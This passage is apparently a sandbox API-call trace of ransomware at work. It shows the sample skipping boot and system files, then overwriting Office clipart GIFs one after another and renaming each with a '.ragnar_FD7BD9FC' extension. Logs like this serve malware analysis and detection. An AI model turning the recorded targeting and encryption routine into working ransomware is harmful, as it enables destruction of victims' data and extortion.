dwFreeType=0x8000) returned 1 [0079.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fa1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.694] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.694] GetProcessHeap () returned 0x580000 [0079.694] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.694] CloseHandle (hObject=0xf4) returned 1 [0079.694] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" [0079.694] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ragnar_FD7BD9FC" [0079.694] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.695] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0079.695] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.695] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00052_.GIF" | out: lpString1="AG00052_.GIF") returned="AG00052_.GIF" [0079.695] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned=".GIF" [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="autorun.inf") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="boot.ini") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootfont.bin") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootsect.bak") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootmgr") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootmgr.efi") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="desktop.ini") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="iconcache.db") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ntldr") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ntuser.dat") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="ntuser.ini") returned -1 [0079.695] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="thumbs.db") returned -1 [0079.695] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.695] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.696] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.696] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.696] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.696] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.696] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0079.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.696] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7686) returned 1 [0079.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1dfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.696] GetProcessHeap () returned 0x580000 [0079.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.696] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.698] VirtualAlloc (lpAddress=0x0, dwSize=0x1e06, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.698] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e06, lpOverlapped=0x0) returned 1 [0079.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.699] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e06, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.699] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e06, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e06, lpOverlapped=0x0) returned 1 [0079.699] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e06, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.699] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.699] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.699] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.700] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.700] GetProcessHeap () returned 0x580000 [0079.700] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.700] CloseHandle (hObject=0xf4) returned 1 [0079.700] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" [0079.700] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ragnar_FD7BD9FC" [0079.700] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.701] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0079.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.701] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00057_.GIF" | out: lpString1="AG00057_.GIF") returned="AG00057_.GIF" [0079.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned=".GIF" [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="autorun.inf") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="boot.ini") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootfont.bin") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootsect.bak") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootmgr") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootmgr.efi") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="desktop.ini") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="iconcache.db") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ntldr") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ntuser.dat") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="ntuser.ini") returned -1 [0079.701] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="thumbs.db") returned -1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.701] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0079.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.702] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11891) returned 1 [0079.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.702] GetProcessHeap () returned 0x580000 [0079.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.702] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.703] VirtualAlloc (lpAddress=0x0, dwSize=0x2e73, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.703] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e73, lpOverlapped=0x0) returned 1 [0079.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.704] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e73, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.705] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e73, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e73, lpOverlapped=0x0) returned 1 [0079.705] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e73, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.705] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.705] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.705] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.705] GetProcessHeap () returned 0x580000 [0079.705] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.706] CloseHandle (hObject=0xf4) returned 1 [0079.706] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" [0079.706] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ragnar_FD7BD9FC" [0079.706] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.706] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0079.706] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.706] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00090_.GIF" | out: lpString1="AG00090_.GIF") returned="AG00090_.GIF" [0079.706] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned=".GIF" [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="autorun.inf") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="boot.ini") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootfont.bin") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootsect.bak") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootmgr") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootmgr.efi") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.706] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="desktop.ini") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="iconcache.db") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ntldr") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ntuser.dat") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="ntuser.ini") returned -1 [0079.707] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="thumbs.db") returned -1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.707] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0079.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.707] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=517) returned 1 [0079.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.707] GetProcessHeap () returned 0x580000 [0079.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.707] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.708] VirtualAlloc (lpAddress=0x0, dwSize=0x205, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.709] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x205, lpOverlapped=0x0) returned 1 [0079.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.709] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x205, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.709] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x205, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x205, lpOverlapped=0x0) returned 1 [0079.709] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x205, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.709] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x205, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.710] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 